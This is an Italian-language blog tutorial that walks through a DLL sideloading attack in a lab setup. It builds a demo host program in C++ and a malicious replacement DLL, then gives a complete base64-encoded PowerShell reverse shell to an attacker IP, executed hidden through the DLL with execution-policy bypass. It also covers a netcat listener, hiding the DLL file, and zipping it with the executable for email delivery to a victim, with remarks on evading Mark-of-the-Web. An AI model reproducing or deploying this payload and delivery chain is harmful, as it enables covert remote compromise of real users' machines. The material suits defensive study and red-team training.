Categories: ⚔️, Attack, Hacking, Vulnerability15.5 min read

DLL Sideloading Attack

Una DLL (Dynamic Link Library) è un tipo di file utilizzato nei sistemi Windows che contiene porzioni di codice e funzioni riutilizzabili da più programmi. In pratica, invece di scrivere sempre lo stesso codice dentro ogni applicazione, gli sviluppatori lo inseriscono in una DLL, richiamandola quando necessario.

L’utilizzo delle DLL ha diversi vantaggi:

  • Riutilizzo del codice e modularità: il codice contenuto in una DLL può essere utilizzato da più applicazioni. Ciò significa che gli sviluppatori possono creare librerie di funzioni comuni, riutilizzabili da più applicazioni. Questo porta alla modularità del codice e rende più facile la manutenzione e l’aggiornamento, dato che una modifica in una DLL può interessare tutte le applicazioni che la utilizzano.
  • Risparmio di memoria: poiché il codice in una DLL può essere condiviso tra più applicazioni, ne consegue un risparmio di memoria, dato che più copie dello stesso codice non devono essere caricate in memoria per ogni applicazione.
  • Estendibilità: le DLL possono essere aggiunte o aggiornate senza dover modificare o reinstallare l’applicazione che le utilizza. Ciò permette alle applicazioni di essere ampliate o aggiornate in modo dinamico.

In ambienti Windows, quando viene eseguita un’applicazione o un servizio, essi utilizzano (solitamente) una serie di DLL. Se una di queste DLL non viene trovata dal programma che la utilizza, oppure il suo caricamento avviene da un “path” con miss-configuration dei permessi, un attaccante può far eseguire codice malevolo all’interno di un processo ritenuto affidabile.

Ad esempio, l’attaccante potrebbe sfruttare il comportamento di file binari firmati Microsoft e la modalità di risoluzione delle librerie DLL per orchestrare un client-side-attack ottenendo l’esecuzione di codice su macchine bersaglio.

Hijack Execution Flow — DLL (T1574.001): sfruttamento di librerie DLL legittime tramite side-loading, hijacking dell’ordine di ricerca, redirection o sostituzione per caricare codice malevolo dentro processi affidabili. Viene usata per ottenere persistenza, escalation ed eludere le difese. 

 In Questa demo useremo un caricamento plugin nella cartella dell’eseguibile, più vicino a un caso “didattico” di searchorder/sideloading controllato. 

0. Intro – The Scenario

L’idea generale è quella di riprodurre un vettore di attacco client-side, ad esempio tramite allagato e-mail basato su un archivio compresso: all’interno dell’archivio inseriremo il binario firmato (per la dimostrazione utilizzeremo un eseguibile creato appositamente) e una libreria DLL “spoofed” che, una volta estratta insieme al programma, verrà caricata dal processo al momento dell’esecuzione.

Questo approccio combina due elementi che aumentano le probabilità di successo in un attacco reale:

  • Il primo è la fiducia implicita nel binario firmato: i binari firmati da Microsoft sono spesso considerati affidabili sia dall’utente sia da alcuni meccanismi del sistema operativo; quindi, la loro esecuzione suscita meno sospetti.
  • Premesso che la propagazione del MotW ai file estratti dipende dallo strumento e dalla versione: Bypassare/Alterare il comportamento del meccanismo del Mark-of-the-Web (MotW). Il MotW è un “mark” che Windows e alcuni programmi usano per dire: “questo file arriva da Internet/da una fonte esterna, trattalo con cautela”. Quando un file ha il MotW, il sistema e alcune applicazioni possono limitarne l’esecuzione o mostrare avvisi di sicurezza prima di aprirlo.
  • L’indirizzo IP del nostro target è: 192.168.199.130
  • L’indirizzo IP del nostro attaccante è: 192.168.199.128

1. Preparazione – Creazione dell’applicazione vulnerabile

Per dimostrare l’attacco utilizzeremo una semplice applicazione nativa in C++ chiamata MSBuildRelease.exe (che ho creato per l’occasione). Si tratta di una console application compilata per architettura x64 (Visual Studio, standard C++14/C++17, set di caratteri Unicode) il cui comportamento è minimale: contare i file nella cartella dell’eseguibile e sommarne le dimensioni, cercando, allo stesso tempo e nella stessa cartella, un file chiamato MyPlugin.dll.
Se la DLL è presente, il programma la carica dinamicamente con le API di Windows (LoadLibrary/LoadLibraryEx) e invoca una funzione, la funzione RunPlugin() usando GetProcAddress. Se la DLL o l’export non sono presenti, l’eseguibile continua la propria esecuzione senza errori.

Di seguito vi riporto il codice dell’app:

// main.cpp — C++14 compatibile, nessun , SEH isolato
#define WIN32_LEAN_AND_MEAN
#include
#include #include
#include
#include

// -------------------- Utility: messaggio errore Win32 --------------------
static std::wstring WinErrMsg(DWORD code = GetLastError()) {
LPWSTR buf = nullptr;
DWORD n = FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
nullptr, code,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPWSTR)&buf, 0, nullptr);
std::wstring msg = n ? std::wstring(buf, n) : L"(nessun messaggio)";
if (buf) LocalFree(buf);
return msg;
}

// -------------------- Cartella dell'eseguibile (senza ) ------
static std::wstring ExeDir() {
std::vector buf(1024);
for (;;) {
DWORD n = GetModuleFileNameW(nullptr, buf.data(), (DWORD)buf.size());
if (n == 0) {
std::wcerr << L"GetModuleFileNameW fallita: " << WinErrMsg() << L"n";
ExitProcess(1);
}
if (n < buf.size() - 1) {
std::wstring full(buf.data(), n);
size_t pos = full.find_last_of(L"/");
return (pos == std::wstring::npos) ? L"." : full.substr(0, pos);
}
buf.resize(buf.size() * 2); // buffer troppo piccolo → raddoppia
}
}

// -------------------- Join path "dir + file" -----------------------------
static std::wstring JoinPath(const std::wstring& dir, const std::wstring& leaf) {
if (dir.empty()) return leaf;
wchar_t last = dir.back();
if (last == L'' || last == L'/') return dir + leaf;
return dir + L"" + leaf;
}

// -------------------- Esiste file? (senza ) ------------------
static bool FileExists(const std::wstring& path) {
DWORD a = GetFileAttributesW(path.c_str());
return (a != INVALID_FILE_ATTRIBUTES) && !(a & FILE_ATTRIBUTE_DIRECTORY);
}

// -------------------- Operazione principale (C++14 + Win32) --------------
static void CountTopLevel(const std::wstring& dir,
unsigned long long& files,
unsigned long long& dirs,
unsigned long long& totalBytes)
{
files = dirs = totalBytes = 0;

std::wstring pattern = JoinPath(dir, L"*");
WIN32_FIND_DATAW fd;
HANDLE h = FindFirstFileW(pattern.c_str(), &fd);
if (h == INVALID_HANDLE_VALUE) {
std::wcerr << L"[Main] FindFirstFileW fallita: " << WinErrMsg() << L"n";
return;
}

do {
const wchar_t* name = fd.cFileName;
if (lstrcmpW(name, L".") == 0 || lstrcmpW(name, L"..") == 0) continue;

if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
++dirs;
}
else {
++files;
unsigned long long sz =
(static_cast(fd.nFileSizeHigh) << 32) |
static_cast(fd.nFileSizeLow);
totalBytes += sz;
}
} while (FindNextFileW(h, &fd));

FindClose(h);
}

// ====== FIX C2712: funzione separata senza oggetti C++ che usa __try ======
typedef void (WINAPI* PluginEntry)(void);

// Evita l'inlining così il blocco __try resta in una funzione "semplice".
__declspec(noinline)
static void CallPluginNoCrash(PluginEntry run) {
// Nessun oggetto C++ locale con distruttore qui dentro!
__try {
run();
}
__except (EXCEPTION_EXECUTE_HANDLER) {
// Niente iostream qui (ha oggetti con distruttori). Usa WinAPI/stdio.
OutputDebugStringW(L"[Plugin] Eccezione nel plugin; ignorata per proseguire.n");
}
}

// -------------------- Caricamento DLL opzionale --------------------------
static void TryLoadPlugin(const std::wstring& exeDir) {
const std::wstring dllPath = JoinPath(exeDir, L"MyPlugin.dll"); // <-- cambia nome se vuoi
const char* exportSym = "RunPlugin"; // <-- cambia export se vuoi

// Configura ricerca dipendenze in modo più sicuro
HMODULE k32 = GetModuleHandleW(L"kernel32.dll");
auto pSetDefaultDllDirectories = (BOOL(WINAPI*)(DWORD))GetProcAddress(k32, "SetDefaultDllDirectories");
auto pAddDllDirectory = (decltype(&AddDllDirectory))GetProcAddress(k32, "AddDllDirectory");
auto pRemoveDllDirectory = (decltype(&RemoveDllDirectory))GetProcAddress(k32, "RemoveDllDirectory");

DLL_DIRECTORY_COOKIE cookie = nullptr;
bool usedFallbackSetDllDir = false;

if (pSetDefaultDllDirectories && pAddDllDirectory) {
pSetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_DEFAULT_DIRS);
cookie = pAddDllDirectory(exeDir.c_str()); // dipendenze nella stessa cartella
}
else {
if (SetDllDirectoryW(exeDir.c_str())) usedFallbackSetDllDir = true;
}

if (!FileExists(dllPath)) {
std::wcout << L"[Plugin] " << dllPath << L" non presente. Continuo senza.n";
if (pRemoveDllDirectory && cookie) pRemoveDllDirectory(cookie);
if (usedFallbackSetDllDir) SetDllDirectoryW(L"");
return;
}

#ifdef LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR
DWORD flags = LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR | LOAD_LIBRARY_SEARCH_APPLICATION_DIR;
#else
DWORD flags = 0;
#endif

HMODULE mod = flags ? LoadLibraryExW(dllPath.c_str(), nullptr, flags)
: LoadLibraryW(dllPath.c_str());
if (!mod) {
std::wcerr << L"[Plugin] Impossibile caricare '" << dllPath
<< L"': " << WinErrMsg() << L"n";
if (pRemoveDllDirectory && cookie) pRemoveDllDirectory(cookie);
if (usedFallbackSetDllDir) SetDllDirectoryW(L"");
return;
}

FARPROC fp = GetProcAddress(mod, exportSym);
if (!fp) {
std::wcerr << L"[Plugin] Export non trovato: " << exportSym << L"n";
FreeLibrary(mod);
if (pRemoveDllDirectory && cookie) pRemoveDllDirectory(cookie);
if (usedFallbackSetDllDir) SetDllDirectoryW(L"");
return;
}

std::wcout << L"[Plugin] Eseguo " << exportSym << L" da "
<< dllPath.substr(dllPath.find_last_of(L"/") + 1) << L"n";

CallPluginNoCrash(reinterpret_cast(fp)); // <-- qui niente C2712

FreeLibrary(mod);
if (pRemoveDllDirectory && cookie) pRemoveDllDirectory(cookie);
if (usedFallbackSetDllDir) SetDllDirectoryW(L"");
}

// -------------------- Entry point -----------------------------------------
int wmain() {
std::wcout << L"[EXE x64 | C++14] Avvion";

const std::wstring exeDir = ExeDir();
std::wcout << L"[Info] Cartella eseguibile: " << exeDir << L"n";

// 1) Prova a caricare ed eseguire la DLL (opzionale)
TryLoadPlugin(exeDir);

// 2) Lavoro principale (sempre eseguito)
unsigned long long files = 0, dirs = 0, bytes = 0;
CountTopLevel(exeDir, files, dirs, bytes);
std::wcout << L"[Main] File: " << files
<< L" | Dir: " << dirs
<< L" | Byte totali (top-level): " << bytes << L"n";

std::wcout << L"[EXE] Fine.n";
return 0;
}

Per compilarla in un file binario (.exe) utilizzeremo Visual Studio, scaricabile al seguente URL: https://visualstudio.microsoft.com/it/

Una volta scaricato e installato Visual Studio, procediamo in questo modo per la compilazione:
Selezioniamo “Create a new project”.

[1_VS_newPJ]

Adesso nella barra di ricerca filtriamo per C++ e selezioniamo Console App.

[2_VS_selecttype]

Procediamo con: next.
Diamo un nome al progetto, nel mio caso: MSbuildRelease ed infine Create.

[3_VS_create]

Eliminiamo il codice-segnaposto all’interno della finestra ed incolliamo il codice sorgente della nostra app. Ora dobbiamo compilarlo.

In alto a sinistra selezioniamo dal menù a tendina l’opzione Release lasciando l’architettura a 64bit. Spostiamoci nella barra appena più in alto e clicchiamo sulla voce Build > Build Solution.

[4_VS_Release]

In basso troviamo l’output della compilazione ed il path dell’eseguibile MSBuildRelease.exe
Nel mio caso:
D:MSBuildMSBuildReleaseMSBuildReleasex64ReleaseMSBuildRelease.exe

[5_VS_output_compilazione].png

A questo punto testiamone il funzionamento. Per comodità spostiamo l’eseguibile in una cartella sul desktop, che nel mio caso ho chiamato dev_attack ed eseguiamolo da un terminale. Noterete che il programma stampa la directory corrente dove viene eseguito, cerca di caricare una DLL chiamata MyPlugin.dll e poi continua la sua esecuzione per calcolare il numero di file presenti, nella directory dove viene eseguito, e i Byte totali dei file.

[6_VS_esecuzione].png 

In questo nostro programma, utilizzato come esempio, ho fatto in modo che la DLL mancante (che non viene trovata) fosse esplicitata nel momento dell’esecuzione del programma stesso, ma in uno scenario reale dovremmo identificarla noi. 

2. Find DLL – Individuazione della DLL target

Ipotizziamo che il nostro programma non stampi a video quale DLL tenta di caricare al momento del suo avvio. Dovremo quindi analizzare più da vicino l’esecuzione del file binario tramite l’utility Process Monitor, per individuare la nostra DLL target.
Process Monitor è uno strumento avanzato per il monitoraggio e la registrazione in tempo reale dei processi in ambiente Windows, scaricabile al seguente link: https://learn.microsoft.com/it-it/sysinternals/downloads/procmon

Andremo alla ricerca di qualsiasi operazione di CreateFile che fallisce con NAME_NOT_FOUND”. In altre parole, identificheremo tutte quelle DLL che l’applicazione non trova.

  • Lanciamo l’eseguibile: Procmon64.exe
  • Dal menu in alto selezioniamo la voce Filter e dal menù a tendina ancora “Filter…”
  • Adesso impostiamo quattro filtri per individuare le DLL target mancanti. Tramite il tasto “Remove” possiamo rimuovere i filtri già preimpostati.
  • Il primo filtro che andremo ad impostare è sul nome del processo. Quindi all’interno di “Process Monitor Filter” selezioniamo:

Process Name > contains > MSBuildRelease.exe ed infine add

[7_filter_one].png

2. Il secondo filtro è sulla creazione di un file.

Operation > is > CreateFile ed infine add

[8_filter_two].png

3. Il terzo filtro è su tutti i risultati falliti:

Result > is > NAME NOT FOUND ed infine add

[9_filter_tree].png

 

4. L’ultimo filtro è sul tipo di file:

Path > ends with > .dll ed infine add

[10_filter_four].png

Adesso clicchiamo su “Apply” per attivare i nostri filtri e lanciamo l’eseguibile che abbiamo creato: .MSBuildRelease.exe
In questo modo possiamo identificare le dll mancanti che l’eseguibile tenta di caricare al suo avvio e come già ci aspettavamo, compare: MyPlugin.dll

[11_DLL_not_found].png 

3. Proxying the Calls

Adesso devieremo il flusso della chiamata legittima verso una DLL proxy dimostrativa. Costruiremo una libreria dinamica compilata per la stessa architettura dell’applicazione vulnerabile; questa DLL esporrà le funzioni che il programma ospite si aspetta (in modo da non provocarne il crash) e, al momento del caricamento, eseguirà una semplice azione osservabile: farà apparire a schermo un messaggio di testo.  

Il seguente diagramma riassume i prossimi passi: 

[12_DLLProxy_flow].png

Prepariamo, quindi la nostra DLL malevola. Scriveremo una libreria molto semplice che, quando viene caricata dal programma vulnerabile, esegue una sola azione visibile: mostrare a schermo una finestra con il messaggio “Executing from DLL”.  

Nel dettaglio, il sorgente della DLL inizia includendo pch.h e windows.h (con WIN32_LEAN_AND_MEAN per ridurre l’overhead) e linkando User32.lib per usare MessageBoxW. L’entry point DllMain intercetta l’evento DLL_PROCESS_ATTACH (caricamento della libreria nel processo): in quella fase disabilitiamo le notifiche per la creazione/terminazione di thread con DisableThreadLibraryCalls e mostriamo una MessageBoxW. Il break evita il fall-through nel switch e DllMain ritorna TRUE per segnalare l’inizializzazione riuscita. 

#include "pch.h" 
#define WIN32_LEAN_AND_MEAN 
#include <windows.h> 
#pragma comment(lib, "User32.lib") 
 
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID) { 
    switch (reason) { 
    case DLL_PROCESS_ATTACH: 
        DisableThreadLibraryCalls(hModule); 
        MessageBoxW(nullptr, L"Executing from DLL", L"MyPlugin.DllMain", MB_OK | MB_ICONINFORMATION); 
        break; // ← importante: evita fall-through 
    case DLL_THREAD_ATTACH: 
    case DLL_THREAD_DETACH: 
    case DLL_PROCESS_DETACH: 
        break; 
    } 
    return TRUE; 
}

Adesso dobbiamo compilare il nostro codice per ottenere la DLL malevola. Apriamo Visual Studio come fatto in precedenza, ma questa volta scegliamo un nuovo tipo di progetto: Dynamic-Link Library (utilizziamo sempre il search per filtrare i risultati).

[13_VS_DLL_project].png

Come già visto, diamo un nome al progetto (nel mio caso DLLproxy) e clicchiamo su Create. Rimuoviamo anche il codice segna-posto ed incolliamo il nostro. Compiliamo infine la DLL e prendiamo nota del path mostratoci dall’output.

D:MSBuildMSBuildReleaseDLLproxyx64ReleaseDLLproxy.dll

Spostiamo la DLL, che abbiamo appena creato, all’interno della cartella dove è presente l’eseguibile del programma.
Siamo pronti adesso per manipolare il flusso d’esecuzione dell’applicazione.
Quando un’applicazione deve caricare una DLL, solitamente utilizza un percorso assoluto. Se non è specificato il percorso assoluto dove la DLL dev’essere caricata, il sistema utilizzerà un ordine di ricerca predefinito nel tentativo di trovare la DLL mancante.

  • KnownDLLs (prerisoluzione del sistema)
  • Cartella dell’applicazione
  • C:WindowsSystem32
  • C:Windows (la voce System è legacy)
  • Directory di lavoro corrente
  • PATH di sistema, poi PATH utente
  • (Flag come LOAD_LIBRARY_SEARCH_* e AddDllDirectory possono restringere/variare l’ordine, e i manifest SxS possono influire). Possiamo verificare quali sono le variabili PATH tramite il comando $env:path

Quindi rinominiamo la DLL: mv .DLLproxy.dll MyPlugin.dll

Lanciamo ancora una volta la nostra applicazione, per osservare se siamo riusciti con successo ad alterare il suo normale flusso d’esecuzione, facendo comparire il messaggio che avevamo inserito all’interno del codice DLL.

[14_Messaggio].png 

Prima di proseguire oltre con l’esecuzione di codice remoto sulla macchina vittima, è necessario fare una premessa. In un attacco reale il normale flusso di esecuzione non deve essere alterato e la vittima, una volta dopo aver cliccato sull’eseguibile non dovrebbe ricevere alcun segnale della nostra presenza. Il normale flusso di esecuzione del programma non dovrebbe quindi essere alterato e tutte le chiamate API dovrebbero essere “forwardate” correttamente. Farlo manualmente è oltremodo oneroso, per questo possiamo utilizzare il seguente tool https://github.com/mrexodia/perfect-dll-proxy  

4. The Shell

Adesso modifichiamo ancora la nostra DLL per ottenere una ReverseShell.
Utilizziamo il comando pwsh per emulare il terminale PowerShell sulla macchina Linux e generare la nostra ReverseShell encoded in base64:

$Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.199.128",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' 

 
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text) 

$EncodedText =[Convert]::ToBase64String($Bytes) 

$EncodedText

[15_PowerShell_RShell].png

Ancora una volta, dobbiamo utilizzare Visual Studio per compilare il codice della DLL malevola. I passaggi sono analoghi a quelli visti in precedenza, dobbiamo solo incollare la nostra Rshell in powershell all’interno del nostro codice:

powershell.exe -ep bypass -enc [SHELL]

 
#include "pch.h" 
#include <Windows.h> 
 
// Funzione che verrà chiamata dall'EXE 
extern "C" __declspec(dllexport) void RunPlugin() 
{ 
    STARTUPINFOA si = { 0 }; 
    PROCESS_INFORMATION pi = { 0 }; 
    si.cb = sizeof(si); 
    si.dwFlags = STARTF_USESHOWWINDOW; 
    si.wShowWindow = SW_HIDE; 
 
    const char* powershellCmd = "powershell.exe -ep bypass -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADEAOQA5AC4AMQAyADgAIgAsADgAMAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="; 
 
    CreateProcessA( 
        NULL, 
        (LPSTR)powershellCmd, 
        NULL, 
        NULL, 
        FALSE, 
        CREATE_NO_WINDOW, 
        NULL, 
        NULL, 
        &si, 
        &pi 
    ); 
 
    if (pi.hProcess) { 
        WaitForSingleObject(pi.hProcess, 1000); 
        CloseHandle(pi.hProcess); 
        CloseHandle(pi.hThread); 
    } 
} 
 
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) 
{ 
    switch (fdwReason) 
    { 
    case DLL_PROCESS_ATTACH: 
        // Opzionale: esegui automaticamente anche al caricamento 
        // RunPlugin(); 
        break; 
    case DLL_THREAD_ATTACH: 
    case DLL_THREAD_DETACH: 
    case DLL_PROCESS_DETACH: 
        break; 
    } 
    return TRUE; 
}

Spostiamoci la nuova DLL all’interno della cartella che contiene l’eseguibile e rinominiamola. Prima di eseguire ancora una volta il programma, spostiamoci sulla macchina attaccante e mettiamoci in ascolto con netcat sulla porta 80.

nc -nvlp 80

Adesso avviamo il file binario .MSBuildRelease.exe per ottenere, questa volta non un messaggio di testo, ma la shell interattiva sulla macchina vittima.

[16_RShell_Finale].png 

4.Deliver

Non ci resta altro da fare che settare l’attributo della DLL su hide:

attrib +h .MyPlugin.dll

[17_hide].png

Zippare il tutto:

& “C:Program Files7-Zip7z.exe” a -tzip MSBuild.zip .MSBuildRelease.exe .MyPlugin.dll

[18_zip].png 

Ed inviarlo alla vittima… 

Go to Top